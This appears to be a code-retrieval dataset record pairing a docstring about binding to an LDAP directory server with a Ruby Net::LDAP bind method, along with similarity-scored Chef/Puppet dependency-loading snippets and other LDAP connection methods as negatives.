"def declare_cookbook_gems\n @flavor.class.do_declare_resources do\n if snippet?('cookbook_base')\n cookbook_gems['foodcritic'] = '~> 4.0'\n cookbook_gems['guard-foodcritic'] = '~> 1.1'\n end\n end\n end",
"def Poise(options={})\n # Allow passing a class as a shortcut\n if options.is_a?(Class)\n options = {parent: options}\n end\n\n # Create a new anonymous module\n mod = Module.new\n\n # Fake the name.\n mod.define_singleton_method(:name) do\n super() || 'Poise'\n end\n\n mod.define_singleton_method(:included) do |klass|\n super(klass)\n # Pull in the main helper to cover most of the needed logic.\n klass.class_exec { include Poise }\n # Set the defined_in values as needed.\n klass.poise_defined!(caller)\n # Resource-specific options.\n if klass < Chef::Resource\n klass.poise_subresource(options[:parent], options[:parent_optional], options[:parent_auto]) if options[:parent]\n klass.poise_subresource_container(options[:container_namespace]) if options[:container]\n klass.poise_fused if options[:fused]\n klass.poise_inversion(options[:inversion_options_resource]) if options[:inversion]\n end\n # Provider-specific options.\n if klass < Chef::Provider\n klass.poise_inversion(options[:inversion], options[:inversion_attribute]) if options[:inversion]\n end\n end\n\n mod\nend",
"def checkRequires(parentFile,preReq,manifestDir,builtins,outfile)\n\t\t\trequires = \"[\"\n\t\t\tpreReq[parentFile].each do |req|\n\t\t\t\treqObject = req.shift\n\t\t\t\treqVar = req.shift\n\t\t\t\treqType = req.shift\n\t\t\t\tif (@params.has_key?(reqVar))\n\t\t\t\t\tif (@params[reqVar].is_a? Array)\n\t\t\t\t\t\t@params[reqVar].each do |item|\n\t\t\t\t\t\t\tif item.is_a?(Hash)\n\t\t\t\t\t\t\t\tputs(\" --!!-- TODO : we do not yet write 'require's for Aptimizer or SNI mappings !!--!!\")\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tro_ = reqObject.gsub(/[\\/\\.\\s-]|%20/, \"_\")\n\t\t\t\t\t\t\t\titem_ = item.gsub(/[\\/\\.\\s-]|%20/, \"_\").downcase\n\t\t\t\t\t\t\t\tif File.exist?(\"#{manifestDir}/#{ro_.downcase}_#{item_}.pp\")\n\t\t\t\t\t\t\t\t\t# This is a builtin class\n\t\t\t\t\t\t\t\t\tif (!builtins)\n\t\t\t\t\t\t\t\t\t\tputs(\"Relationship found for Built-in object: Including: brocadevtm::#{ro_.downcase}_#{item_}\")\n\t\t\t\t\t\t\t\t\t\t# builtins are disabled, so check and include if needed\n\t\t\t\t\t\t\t\t\t\tlines = IO.readlines(outfile)\n\t\t\t\t\t\t\t\t\t\tif ( lines.grep(/brocadevtm::#{ro_.downcase}_#{item_}/).empty? )\n\t\t\t\t\t\t\t\t\t\t\tnodefile = File.open(outfile,\"a\")\n\t\t\t\t\t\t\t\t\t\t\tnodefile.puts(\"\\ninclude brocadevtm::#{ro_.downcase}_#{item_}\\n\")\n\t\t\t\t\t\t\t\t\t\t\tnodefile.close()\n\t\t\t\t\t\t\t\t\t\tend \n\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\t\tro_[0] = ro_[0].downcase\n\t\t\t\t\t\t\t\t\trequires += \" Class[brocadevtm::#{ro_}_#{item_}], \"\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\tescaped = item.gsub(' ', '%20')\n\t\t\t\t\t\t\t\t\tif reqObject == \"Rules\"\n\t\t\t\t\t\t\t\t\t\tescaped = escaped.gsub(/^\\/{0,1}(.*?)\\*{0,1}$/,\"\\\\1\")\n\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\t\trequires += \" Brocadevtm::#{reqObject}['#{escaped}'], \"\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\telsif (@params[reqVar].is_a? String)\n\t\t\t\t\t\tif @params[reqVar] == ''\n\t\t\t\t\t\t\tnext\n\t\t\t\t\t\tend\n\t\t\t\t\t\tif req.empty? or ( (!req.empty?) and (!req.include?(@params[reqVar])) )\n\t\t\t\t\t\t\tescaped = @params[reqVar].gsub(' ', '%20')\n\t\t\t\t\t\t\tif reqObject == \"Rules\"\n\t\t\t\t\t\t\t\tescaped = escaped.gsub(/^\\/{0,1}(.*?)\\*{0,1}$/,\"\\\\1\")\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\trequires += \" Brocadevtm::#{reqObject}['#{escaped}'], \"\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tif requires != '['\n\t\t\t\t\t@params[\"require\"] = requires + \"]\"\n\t\t\t\tend\n\t\t\tend\n\t\tend",
"def setup(*_)\n require 'patron'\n end",
"def initialize defines, undefines\n @undefines = undefines\n\t\t\tos = Cfruby::OS.get_os()\n\t\t\t@hostname = os.hostname\n\t\t\t# init_classlist --- don't do this, it is a circular \n\t\t\tadd('any',@hostname)\n\t\t\tadd(os['name'].downcase,@hostname) if os['name']\n\t\t\tadd(os['distribution'].downcase,@hostname) if os['distribution']\n\t\t\tusermanager = os.get_user_manager()\n\t\t\tadd(usermanager.get_name(Process.euid()),@hostname)\n group = usermanager.get_group(Process.egid())\n add(group,@hostname) if group\n # ---- add classes passed through command line\n defines.each do | d |\n add(d,@hostname)\n end\n\t\tend",
"def initialize_package\n self.need_tar ||= false\n self.need_zip ||= false\n end",
"def initialize\n super\n require 'snmp'\n end",
"def install_ruby_dependencies(rubie)\n pkgs = []\n case rubie\n when /^ruby-/, /^ree-/, /^rbx-/, /^kiji/\n case node['platform']\n when \"debian\",\"ubuntu\"\n pkgs = %w{ build-essential openssl libreadline6 libreadline6-dev\n zlib1g zlib1g-dev libssl-dev libyaml-dev libsqlite3-dev\n sqlite3 libxml2-dev libxslt-dev autoconf libc6-dev\n ncurses-dev automake libtool bison ssl-cert }\n pkgs += %w{ subversion } if rubie =~ /^ruby-head$/\n when \"suse\"\n pkgs = %w{ gcc-c++ patch zlib zlib-devel libffi-devel\n sqlite3-devel libxml2-devel libxslt-devel }\n if node['platform_version'].to_f >= 11.0\n pkgs += %w{ libreadline5 readline-devel libopenssl-devel }\n else\n pkgs += %w{ readline readline-devel openssl-devel }\n end\n pkgs += %w{ git subversion autoconf } if rubie =~ /^ruby-head$/\n when \"centos\",\"redhat\",\"fedora\",\"scientific\",\"amazon\"\n pkgs = %w{ gcc-c++ patch readline readline-devel zlib zlib-devel\n libyaml-devel libffi-devel openssl-devel }\n pkgs += %w{ git subversion autoconf } if rubie =~ /^ruby-head$/\n end\n when /^jruby-/\n # TODO: need to figure out how to pull in java recipe only when needed. For\n # now, users of jruby will have to add the \"java\" recipe to their run_list.\n #include_recipe \"java\"\n case node['platform']\n when \"debian\",\"ubuntu\"\n pkgs += %w{ g++ ant }\n end\n end\n\n pkgs.each do |pkg|\n package pkg do\n action :nothing\n end.run_action(:install)\n end\nend",
"def install\n unless self.has_executable?(\"chef-solo\")\n case self.pocketknife.can_install\n when nil\n # Prompt for installation\n print \"? #{self.name}: Chef not found. Install it and its dependencies? (Y/n) \"\n STDOUT.flush\n answer = STDIN.gets.chomp\n case answer\n when /^y/i, ''\n # Continue with install\n else\n raise NotInstalling.new(\"Chef isn't installed on node '#{self.name}', but user doesn't want to install it.\", self.name)\n end\n when true\n # User wanted us to install\n else\n # Don't install\n raise NotInstalling.new(\"Chef isn't installed on node '#{self.name}', but user doesn't want to install it.\", self.name)\n end\n\n unless self.has_executable?(\"ruby\")\n self.install_ruby\n end\n\n unless self.has_executable?(\"gem\")\n self.install_rubygems\n end\n\n self.install_chef\n end\n end",
"def check_for_libraries; end",
"def require(name)\n Kernel.require name\nend",
"def loader\n @loader ||= Chef::Knife::Core::ObjectLoader.new(Chef::Role, ui)\n end",
"def gemspec?; end",
"def puppet_module_install(opts, &block)\n RSpecSystemPuppet::Helpers::PuppetModuleInstall.new(opts, self, &block)\n end",
"def initialize(args = {})\n @gems = []\n @redundant_gems = []\n if args[:gems]\n if args[:gems].is_a? Array\n add_gems(args[:gems])\n else\n raise Resquire::ResquireError.new('Dependencies must be initialized as an array!')\n end\n end\n true\n end",
"def initialize\n @awesome_methods = {}\n \n # Check if we're bootstraping. During this process\n # the runtime is not fully initialized and core classes\n # do not yet exists, so we defer setting the object class\n # once this is all done.\n # This solves the chiken and egg problem with the Class class.\n # We can initialize Class then set Class.class = Class.\n if defined?(Runtime)\n awesome_class = Runtime[\"Class\"]\n else\n awesome_class = nil\n end\n \n super(awesome_class)\n end",
"def enable_dependency_loading=(_arg0); end",
"def enable_dependency_loading=(_arg0); end",
"def initialize\n # Load the setup settings and any user overrides.\n @settings = Configuration::CombinedConfiguration.new\n @settings.load_configuration('default', 'Configuration/setup.yaml')\n @settings.load_configuration('user', 'Configuration/user.yaml')\n\n @ruby_bin = RbConfig::CONFIG['bindir']\n @install_flag = \".bundle/#{RUBY_VERSION}_#{ruby_platform}.flag\"\n\n # The timestamp values - the installer is run depending on these values.\n @t1 = UserSettings.last_modify_date.to_i\n @t2 = File.mtime('Gemfile').to_i\n\n @gem_path = File.join(@settings['setup.gem_path'], ruby_platform)\n @mysql_dir = File.join(FRAMEWORK_ROOT, \"#{LIB_DIR}/mysql/#{ruby_platform}\")\n\n runtime.save(:ruby_bin, @ruby_bin)\n runtime.save(:gem_path, @gem_path)\n runtime.save(:mysql_dir, @mysql_dir)\n runtime.save(:setup_settings, @settings)\n end",
"def initialize(context)\n\tsuper\n\t\n\trequire_relative '../../lib/covered/config'\nend",
"def require(file, *extras) #:nodoc:\n super(file, *extras)\n end",
"def base_class\n # create the base class file\n File.open(File.join(repo_name, 'lib', \"#{use_kata_name}.rb\"), 'w') {|f| f.write <<EOF}\nclass #{class_name}\nend\nEOF\n end",
"def install\n should = @resource.should(:ensure)\n self.debug \"Ensuring => #{should}\"\n wanted = @resource[:name]\n\n # XXX: We don't actually deal with epochs here.\n case should\n when true, false, Symbol\n # pass\n else\n # Add the package version\n wanted = \"#{wanted}-#{should}\"\n end\n\n #This has been tested with following zypper versions\n #SLE 10.2: 0.6.104\n #SLE 11.0: 1.0.8\n #OpenSuse 10.2: 0.6.13\n #OpenSuse 11.2: 1.2.8\n #Assume that this will work on newer zypper versions\n\n #extract version numbers and convert to integers\n major, minor, patch = zypper_version.scan(/\\d+/).map{ |x| x.to_i }\n self.debug \"Detected zypper version #{major}.#{minor}.#{patch}\"\n\n #zypper version < 1.0 does not support --quiet flag\n quiet = \"--quiet\"\n if major < 1\n quiet = \"--terse\"\n end\n\n license = \"--auto-agree-with-licenses\"\n noconfirm = \"--no-confirm\"\n\n #zypper 0.6.13 (OpenSuSE 10.2) does not support auto agree with licenses\n if major < 1 and minor <= 6 and patch <= 13\n zypper quiet, :install, noconfirm, wanted\n else\n zypper quiet, :install, license, noconfirm, wanted\n end\n\n unless self.query\n raise Puppet::ExecutionFailure.new(\n \"Could not find package #{self.name}\"\n )\n end\n end",
"def direct_dependencies; end",
"def check_class\n @check_class ||= begin\n c = ObjectSpace.each_object(Class).find do |klass|\n klass < Sensu::Plugin::Check::CLI && \\\n klass != self.class && \\\n !klass.ancestors.include?(self.class)\n end\n patch_class!(c)\n c\n end\n end",
"def load_ldap_library\n return if @ldap_library_loaded\n if @ldap_library\n if @ldap_library == 'net/ldap'\n require 'net/ldap'\n else\n require 'ldap'\n require 'ldap/control'\n end\n else\n begin\n require 'ldap'\n require 'ldap/control'\n @ldap_library = 'ldap'\n rescue LoadError\n require 'net/ldap'\n @ldap_library = 'net/ldap'\n end\n end\n @ldap_library_loaded = true\n end",
"def adopt_dependencies\n super if defined? super\n end",
"def initialize(new_resource, run_context)\n super(new_resource, run_context)\n\n # Make sure we have logratate daemon installed.\n p = package 'logrotate' do\n action :nothing\n end\n p.run_action(:install)\nend",
"def require!(_file_)\n raise 'must implement'\n end",
"def install!\n @method_name ||= self.name.split('::').last.downcase.to_sym\n _cls = self # for self is obscured in define_method block's body\n ( class << Vendorificator::Config ; self ; end ).\n send(:define_method, @method_name ) do |name, *args, &block|\n mod = _cls.new(name.to_s, *args, &block)\n self[:modules] << mod\n mod\n end\n end",
"def setup\n super\n handle_packages\n end",
"def initialize(bundle)\n @description = bundle.to_s\n @thread_name = get_thread_name_from_bundle(bundle)\n @right_scripts_cookbook = RightScriptsCookbook.new(@thread_name)\n @scripts = bundle.executables.select { |e| e.is_a?(RightScriptInstantiation) }\n @only_scripts = bundle.executables.all? { |e| e.is_a?(RightScriptInstantiation) }\n run_list_recipes = bundle.executables.map { |e| e.is_a?(RecipeInstantiation) ? e : @right_scripts_cookbook.recipe_from_right_script(e) }\n @cookbooks = bundle.cookbooks\n @downloader = ReposeDownloader.new(bundle.repose_servers)\n @downloader.logger = Log\n @download_path = File.join(AgentConfig.cookbook_download_dir, @thread_name)\n @ohai_retry_delay = OHAI_RETRY_MIN_DELAY\n @audit = AuditStub.instance\n @logger = Log\n @cookbook_repo_retriever= CookbookRepoRetriever.new(@download_path, bundle.dev_cookbooks)\n\n # Determine which inputs are sensitive\n sensitive = Set.new([])\n bundle.executables.each do |e|\n next unless e.input_flags.respond_to?(:each_pair)\n e.input_flags.each_pair do |name, flags|\n sensitive << name if flags.include?(SENSITIVE)\n end\n end\n @sensitive_inputs = sensitive.to_a\n\n # Initialize run list for this sequence (partial converge support)\n @run_list = []\n @inputs = { }\n breakpoint_recipe = CookState.breakpoint_recipe\n run_list_recipes.each do |recipe|\n if recipe.nickname == breakpoint_recipe\n @audit.append_info(\"Breakpoint set to < #{breakpoint_recipe} >\")\n break\n end\n @run_list << recipe.nickname\n ::RightSupport::Data::HashTools.deep_merge!(@inputs, recipe.attributes)\n end\n\n # Retrieve node attributes and deep merge in inputs\n @attributes = ChefState.attributes\n ::RightSupport::Data::HashTools.deep_merge!(@attributes, @inputs)\n end",
"def pluggable!\n abort \"update rubygems to >= 1.3.1\" unless Gem.respond_to? :find_files\n require_rubygems_version \">= 1.3.1\"\n end",
"def prepare_for_installation; end",
"def init\n require File.expand_path( '../irbtools.rb', File.dirname(__FILE__) )\n end",
"def chef_client(host, options = {})\n raise RuntimeError, \"abstract function: must be implemented on includer\"\n end",
"def install_lazyk(prefix)\n cookbook_file \"#{Chef::Config[:file_cache_path]}/lazy.cpp\" do\n user 'root'\n group 'root'\n mode '0644'\n not_if \"test -e #{prefix}/bin/lazyk\"\n end\n\n bash \"install-lazyk\" do\n user 'root'\n cwd Chef::Config[:file_cache_path]\n code <<-EOH\n set -ex\n mkdir -p #{prefix}/bin\n g++ lazy.cpp -o #{prefix}/bin/lazyk\n EOH\n not_if \"test -e #{prefix}/bin/lazyk\"\n end\nend",
"def watch_require!\n ::Kernel.module_eval do\n # It isn't previously defined in Kernel. This could be a bit dangerous, though.\n def self.method_added(method_name, *_args) # rubocop:disable Lint/MissingSuper\n if method_name == :require && !Bumbler::Hooks.hooking_instance_require?\n ::Bumbler::Hooks.hook_instance_require!\n end\n end\n\n def self.singleton_method_added(method_name, *_args) # rubocop:disable Lint/MissingSuper\n if method_name == :require && !Bumbler::Hooks.hooking_singleton_require?\n ::Bumbler::Hooks.hook_singleton_require!\n end\n end\n end\n end",
"def initialize(context)\n\tsuper\n\t\n\trequire_relative '../../lib/covered'\nend",
"def init(new_resource)\n begin\n require 'rightscale_tools'\n rescue LoadError\n Chef::Log.warn(\" This database cookbook requires our premium 'rightscale_tools' gem.\")\n Chef::Log.warn(\" Please contact Rightscale to upgrade your account.\")\n end\n mount_point = new_resource.name\n RightScale::Tools::Database.factory(:postgres, new_resource.user, new_resource.password, mount_point, Chef::Log)\n end",
"def install_gem; end",
"def install_dependencies\n raise 'Not implemented'\n end",
"def require(path) # :nodoc:\n gem_original_require path\n rescue LoadError => load_error\n if File.basename(path).match(Gem::MiniGems::INLINE_REGEXP) && \n Object.const_defined?(:Inline)\n # RubyInline dynamically created .so/.bundle\n return gem_original_require(File.join(Inline.directory, path))\n elsif path == 'Win32API' && !Gem.win_platform?\n raise load_error\n elsif load_error.message =~ /#{Regexp.escape path}\\z/\n if !path.include?('/') && Gem.activate(path)\n return gem_original_require(path)\n elsif $MINIGEMS_SKIPPABLE.include?(path)\n raise load_error\n elsif spec = Gem.searcher.find(path)\n Gem.activate(spec.name, \"= #{spec.version}\")\n return gem_original_require(path)\n end\n end\n raise load_error\n end",
"def pre_hard_load(mod); end"
] | [
"0.6480207",
"0.64590555",
"0.62435687",
"0.6108768",
"0.6097916",
"0.6090847",
"0.6049699",
"0.6030041",
"0.60176545",
"0.6016308",
"0.5910933",
"0.5820359",
"0.57835615",
"0.57699853",
"0.5769488",
"0.5702365",
"0.5679358",
"0.56678206",
"0.56448567",
"0.5639703",
"0.55822486",
"0.55593985",
"0.5543125",
"0.55209076",
"0.55100465",
"0.5483127",
"0.54654026",
"0.54618347",
"0.54580754",
"0.54530054",
"0.54311466",
"0.5430105",
"0.54242015",
"0.54079056",
"0.5400601",
"0.5399707",
"0.5389689",
"0.5388972",
"0.5383311",
"0.5376603",
"0.53711635",
"0.5348279",
"0.5331881",
"0.53305066",
"0.5319747",
"0.53030944",
"0.5294951",
"0.52775407",
"0.5252364",
"0.52509856",
"0.5249231",
"0.5237756",
"0.5224486",
"0.522179",
"0.52152914",
"0.52053195",
"0.5204712",
"0.5202587",
"0.51982504",
"0.5192692",
"0.51816964",
"0.5181272",
"0.5174604",
"0.517245",
"0.5172132",
"0.517142",
"0.51502484",
"0.51484936",
"0.5144383",
"0.51408154",
"0.5137067",
"0.51315993",
"0.51217276",
"0.51217276",
"0.5115862",
"0.5115557",
"0.511137",
"0.5110867",
"0.51078504",
"0.50978",
"0.50936466",
"0.50901246",
"0.5083693",
"0.50828",
"0.5082295",
"0.5071861",
"0.50696325",
"0.50645757",
"0.5063997",
"0.5062661",
"0.505482",
"0.50508094",
"0.50431687",
"0.50394493",
"0.5038951",
"0.5038934",
"0.503859",
"0.5036388",
"0.50361454",
"0.5031325"
] | 0.66525275 | 0 |
== Bind This method should not be used directly. It is used to bind to the directory server. The databag_name is the name of the databag that is used for looking up connection credentials. It returns a connected ruby Net::LDAP object | def bind( host, port, credentials, databag_name, use_tls ) # :yields: host, port, credentials, databag_name, use_tls
credentials = credentials.kind_of?(Hash) ? credentials.to_hash : credentials.to_s
unless databag_name.kind_of?(String) or databag_name.kind_of?(Symbol)
raise "Invalid databag_name: #{databag_name}"
end
if credentials.kind_of?(String) and credentials.length > 0
# Pull named credentials from the databag
require 'chef/data_bag_item'
require 'chef/encrypted_data_bag_item'
secret = Chef::EncryptedDataBagItem.load_secret
credentials = Chef::EncryptedDataBagItem.load( databag_name.to_s, credentials, secret ).to_hash
end
unless credentials.kind_of?(Hash) and credentials.key?('bind_dn') and credentials.key?('password')
raise "Invalid credentials: #{credentials}"
end
args = {
host: host,
port: port,
auth: {
method: :simple,
username: credentials['bind_dn'],
password: credentials['password']
}
}
args[:encryption] = :simple_tls if use_tls
@ldap = Net::LDAP.new args
raise "Unable to bind: #{@ldap.get_operation_result.message}" unless @ldap.get_operation_result.message == 'Success'
@ldap
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def bind\n conn = Net::LDAP.new :host => @config[:server],\n :port => @config[:port],\n :base => @config[:base]\n if @config[:encryption]\n conn.encryption @config[:encryption]\n end\n \n raise \"Anonymous Bind is disabled\" if @config[:password] == \"\" && !(@config[:anonymous_bind])\n \n conn.auth \"#{@config[:username]}@#{@config[:domain]}\", @config[:password]\n \n begin\n Timeout::timeout(10){\n if conn.bind\n return conn\n else\n raise 'Query User Rejected'\n end\n }\n rescue Timeout::Error\n raise 'Unable to connect to LDAP Server'\n rescue Errno::ECONNRESET\n if @config[:allow_fallback]\n @config[:port] = @config[:allow_fallback]\n @config[:encryption] = false\n return Adauth::Connection.new(@config).bind\n end\n end\n end",
"def bind(login, password)\n cfg = Rails.application.secrets.ldap\n host = cfg['host']\n port = cfg['port']\n ssl = cfg['ssl'].to_sym\n # base = cfg['base']\n users = cfg['users']\n # groups = cfg['groups']\n\n options = {\n host: host,\n port: port,\n encryption: ssl,\n }\n\n ldap = Net::LDAP.new(options)\n ldap.auth(\"cn=#{login},#{users}\", password)\n return LDAP::User.find(login) if ldap.bind\n false\n end",
"def bind_connection(credentials)\n Net::LDAP.new(credentials)\n rescue\n raise(ConnectionError, 'Failure connecting to LDAP host')\n end",
"def bind( user_dn, password )\n\t\tuser_dn = user_dn.dn if user_dn.respond_to?( :dn )\n\n\t\tself.log.info \"Binding with connection %p as: %s\" % [ self.conn, user_dn ]\n\t\tself.conn.bind( user_dn.to_s, password )\n\t\t@bound_user = user_dn.to_s\n\tend",
"def connect\n @conn ||= Net::LDAP.new\n @conn.host = @host\n @conn.port = @port\n @conn.auth \"#{@login_dn},#{@base_dn}\", @password\n\n if @conn.bind\n return true\n else\n return false\n end\n end",
"def ldap_connect\n ldap = Net::LDAP.new(host: host, port: Net::LDAP::DefaultPort)\n ldap\n end",
"def ldap_connect(domain,binddn=BINDUSER,bindpw=BINDPASS)\n binddn = binddn + \"@\" + domain\n ldap = Net::LDAP.new(:host => domain,\n :port => 389,\n :auth => {\n :method => :simple,\n :username => binddn,\n :password => bindpw,\n })\n return ldap\n end",
"def connect!\n com::unboundid::ldap::sdk::LDAPConnection.new(\n self.host, self.port, self.bind_dn, self.password) \n end",
"def open(host, user = nil, password = nil)\n @ldap = Net::LDAP.new\n @ldap.host = host\n @ldap.port = 389\n @ldap.auth(user, password)\n @ldap.bind\n end",
"def authenticate_dn(dn, password)\n\t\tif dn.present? && password.present?\n\t\t\tinitialize_ldap_con(dn, password).bind\n\t\tend\n\tend",
"def new_net_ldap\n params = {\n :host => host,\n :auth => authentication_information,\n :port => 636,\n :encryption => { :method => :simple_tls }\n }\n @net_ldap = Net::LDAP.new(params)\n @net_ldap.bind || raise(BindFailedException)\n @net_ldap\n rescue Net::LDAP::Error => e\n raise(BindFailedException)\n end",
"def client\n Net::LDAP.new({\n host: Settings.ldap.host,\n port: Settings.ldap.port,\n encryption: { method: :simple_tls },\n auth: {\n method: :simple,\n username: Settings.ldap.application_bind,\n password: Settings.ldap.application_password\n }\n })\n end",
"def connection\n return @connection if @connection\n load_ldap_library\n @connection = if ldap_library == 'net/ldap'\n Net::LDAP.new(:host=>server, :port=>(port), :encryption=>(:simple_tls if use_ssl))\n else\n (use_ssl ? LDAP::SSLConn : LDAP::Conn).new(server, port)\n end\n end",
"def bound_as( user_dn, password )\n\t\traise LocalJumpError, \"no block given\" unless block_given?\n\t\tprevious_bind_dn = @bound_user\n\t\tself.with_duplicate_conn do\n\t\t\tself.bind( user_dn, password )\n\t\t\tyield\n\t\tend\n\tensure\n\t\t@bound_user = previous_bind_dn\n\tend",
"def bind_to_directory\n\t\tbinddn = self.options.binddn or\n\t\t\traise ArgumentError, \"no binddn in the options hash?!\"\n\t\tself.log.debug \"Attempting to bind to the directory as %s\" % [ binddn ]\n\n\t\tpass = self.prompt.ask( \"password: \" ) {|q| q.echo = '*' }\n\t\tuser = Treequel::Branch.new( self.directory, binddn )\n\n\t\tself.directory.bind_as( user, pass )\n\t\tself.log.debug \" bound as %s\" % [ user ]\n\n\t\treturn true\n\tend",
"def connect_to_ldap\r\n begin\r\n @ldap = Net::LDAP.new(:host => @ldap_host,\r\n :port => @ldap_port,\r\n :auth => { :method => :simple,\r\n :username => @ldap_username,\r\n :password => @ldap_password } )\r\n @logger.info \"Connecting to LDAP: '#{@ldap_host}' on port #{@ldap_port}\"\r\n @logger.info \"Binding to LDAP as: #{@ldap_username}\"\r\n \r\n success = @ldap.bind()\r\n if (success)\r\n @logger.info \"LDAP authorization succeeded\"\r\n return true\r\n else\r\n @logger.error \"LDAP authorization failed: #{@ldap.get_operation_result.message}\"\r\n return false\r\n end\r\n rescue Net::LDAP::LdapError => error\r\n @logger.error(\"Error connecting to LDAP: #{error}\")\r\n return false\r\n end\r\n end",
"def ldap\n @attributes[:ldap]\n end",
"def net_ldap\n @net_ldap ||= new_net_ldap\n end",
"def ldap_server\n get_attribute_from_auth_source('host')\n end",
"def initialize_ldap_con(username, password, hosts)\n result = nil\n\n hosts.each do |host|\n ldap = Net::LDAP.new({\n :host => host,\n :port => 389,\n :auth => {\n :method => :simple,\n :username => username,\n :password => password\n }\n })\n\n # If the bind succeeded, return the active connection. Else try the next host\n result = ldap if ldap.get_operation_result.code == 0\n end\n\n return result\n end",
"def bind_by_username\n username_attribute = options[:ldap][:username_attribute] || default_username_attribute\n\n @ldap.bind_as(:base => @options[:ldap][:base], :password => @password, :filter => user_filter)\n end",
"def authenticate_with_active_directory(username, password)\n auth_ldap = ADMapper::Connection.current_connection.dup.bind_as(\n :filter => Net::LDAP::Filter.eq( \"sAMAccountName\", username ),\n :base => ADMapper::Connection.treebase,\n :password => password\n )\n \n end",
"def ldap?(auth, username, password)\n require 'net/ldap'\n\n raise 'Missing ldap base' unless auth[:base]\n\n @ldap = Net::LDAP.new auth\n\n raise format('Ldap connexion fail %s', ldap.inspect) unless ldap.bind\n\n dn = ldap_search(auth[:base], filer_strip(auth[:filter], username))\n ldap.authenticate(dn, password)\n session[:user] = username if ldap.bind\n !session[:user].nil?\n end",
"def authenticate(dn, password)\n if @conn.bind(:username => \"#{dn},#{@base_dn}\", :password => password)\n @conn.bind \"#{@login_dn},#{@base_dn}\", @password\n return true\n else\n return false\n end\n end",
"def bind_by_username_with_preauthentication\n raise CASServer::AuthenticatorError, \"A password must be specified in the configuration for the authenticator user!\" unless\n @options[:ldap][:auth_password]\n\n @ldap.authenticate(@options[:ldap][:auth_user], @options[:ldap][:auth_password])\n\n @ldap.bind_as(:base => @options[:ldap][:base], :password => @password, :filter => user_filter)\n end",
"def valid?(auth)\n # how to connect to the ldap server: ldap, ldaps, ldap + starttls\n if @config.ldaps\n enc = { method: :simple_tls }\n elsif @config.starttls\n enc = { method: :start_tls }\n enc[:tls_options] = @config.tls_options if @config.tls_options\n else\n enc = nil # just straight ldap\n end\n conn = Net::LDAP.new(host: @config.hostname, port: @config.port,\n base: @config.basedn,\n encryption: enc)\n\n $stdout.puts \"Net::LDAP.new => #{conn.inspect}\" if @config.debug\n\n if @config.auth\n $stdout.puts \"doing auth for #{@config.rootdn.inspect}\" if @config.debug\n conn.auth @config.rootdn, @config.passdn\n # conn.get_operation_result.message has the reson for a failure\n return false unless conn.bind\n end\n\n filter = Net::LDAP::Filter.eq(@config.username_ldap_attribute,\n auth.username)\n\n $stdout.puts \"Net::LDAP::Filter.eq => #{filter.inspect}\" if @config.debug\n\n # find the user and rebind as them to test the password\n # return conn.bind_as(:filter => filter, :password => auth.password)\n $stdout.puts \"doing bind_as password.size: #{auth.password.size}...\" if @config.debug\n ret = conn.bind_as(filter: filter, password: auth.password)\n $stdout.puts \"bind_as => #{ret.inspect}\" if @config.debug\n ret\n end",
"def connection\n unless @connection\n raise Puppet::Error, \"Could not set up LDAP Connection: Missing ruby/ldap libraries\" unless Puppet.features.ldap?\n begin\n conn = Puppet::Util::Ldap::Connection.instance\n conn.start\n @connection = conn.connection\n rescue => detail\n puts detail.backtrace if Puppet[:trace]\n raise Puppet::Error, \"Could not connect to LDAP: #{detail}\"\n end\n end\n\n @connection\n end",
"def bind_default_ldap_server(size_limit, domain=nil)\n vprint_status(\"Initializing LDAP connection.\")\n\n # If domain is still null the API may be able to handle it...\n init_result = wldap32.ldap_sslinitA(domain, 389, 0)\n session_handle = init_result['return']\n if session_handle == 0\n raise \"Unable to initialize ldap server: #{init_result[\"ErrorMessage\"]}\"\n end\n\n vprint_status(\"LDAP Handle: #{session_handle}\")\n\n vprint_status(\"Setting Sizelimit Option\")\n wldap32.ldap_set_option(session_handle, LDAP_OPT_SIZELIMIT, size_limit)\n\n vprint_status(\"Binding to LDAP server\")\n bind_result = wldap32.ldap_bind_sA(session_handle, nil, nil, LDAP_AUTH_NEGOTIATE)\n\n bind = bind_result['return']\n unless bind == 0\n wldap32.ldap_unbind(session_handle)\n raise \"Unable to bind to ldap server: #{ERROR_CODE_TO_CONSTANT[bind]}\"\n end\n\n if (block_given?)\n begin\n yield session_handle\n ensure\n vprint_status(\"Unbinding from LDAP service\")\n wldap32.ldap_unbind(session_handle)\n end\n else\n return session_handle\n end\n\n return session_handle\n end",
"def start\n case ssl\n when :tls\n @connection = LDAP::SSLConn.new(host, port, true)\n when true\n @connection = LDAP::SSLConn.new(host, port)\n else\n @connection = LDAP::Conn.new(host, port)\n end\n @connection.set_option(LDAP::LDAP_OPT_PROTOCOL_VERSION, 3)\n @connection.set_option(LDAP::LDAP_OPT_REFERRALS, LDAP::LDAP_OPT_ON)\n @connection.simple_bind(user, password)\n rescue => detail\n raise Puppet::Error, \"Could not connect to LDAP: #{detail}\"\n end",
"def login(user, pass)\n conn = LDAP::Conn.new($ldap_conf[:server], $ldap_conf[:port])\n conn.set_option(LDAP::LDAP_OPT_PROTOCOL_VERSION, 3)\n conn.start_tls\n\n begin\n if conn.bind('uid=' + user + ',' + $ldap_conf[:people_dn], pass)\n get_uidNumber conn, user\n else\n False\n end\n rescue Exception => e\n nil\n end\nend",
"def bind\n conf['api']['bind']\n end",
